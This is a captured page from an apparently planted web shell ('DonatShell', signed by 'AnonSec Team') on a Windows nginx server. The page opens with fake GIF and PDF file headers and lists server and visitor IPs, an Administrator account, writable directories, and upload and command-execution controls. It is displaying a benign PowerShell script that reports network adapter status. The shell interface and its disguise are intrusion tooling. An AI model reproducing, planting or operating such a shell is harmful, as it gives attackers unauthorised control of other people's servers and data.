GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1861/Resources/Snippits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1861/Resources/Snippits//Get-NetworkAdapterStatus.ps1
<#
   .Synopsis
    Produces a listing of network adapters and status on a local or remote machine.
   .Description
    This script produces a listing of network adapters and status on a local or remote machine.
   .Example
    Get-NetworkAdapterStatus.ps1 -computer MunichServer
    Lists all the network adapters and status on a computer named MunichServer
   .Example
    Get-NetworkAdapterStatus.ps1
    Lists all the network adapters and status on local computer
   .Inputs
    [string]
   .OutPuts
    [string]
   .Notes
    NAME:  Get-NetworkAdapterStatus.ps1
    AUTHOR: Ed Wilson
    LASTEDIT: 1/10/2014
    KEYWORDS: Hardware, Network Adapter
   .Link
     Http://www.ScriptingGuys.com
#Requires -Version 2.0
#>

Param(
  [string]$computer= $env:COMPUTERNAME
) #end param

function Get-StatusFromValue
{
 Param($SV)
 switch($SV)
  {
   0 { " Disconnected" }
   1 { " Connecting" }
   2 { " Connected" }
   3 { " Disconnecting" }
   4 { " Hardware not present" }
   5 { " Hardware disabled" }
   6 { " Hardware malfunction" }
   7 { " Media disconnected" }
   8 { " Authenticating" }
   9 { " Authentication succeeded" }
   10 { " Authentication failed" }
   11 { " Invalid Address" }
   12 { " Credentials Required" }
   Default { "Not connected" }
  }

} #end Get-StatusFromValue function
 
# *** Entry point to script ***
 
Get-WmiObject -Class win32_networkadapter -computer $computer |

Select-Object Name, @{LABEL="Status";
 EXPRESSION={Get-StatusFromValue $_.NetConnectionStatus}}

Anon7 - 2022
AnonSec Team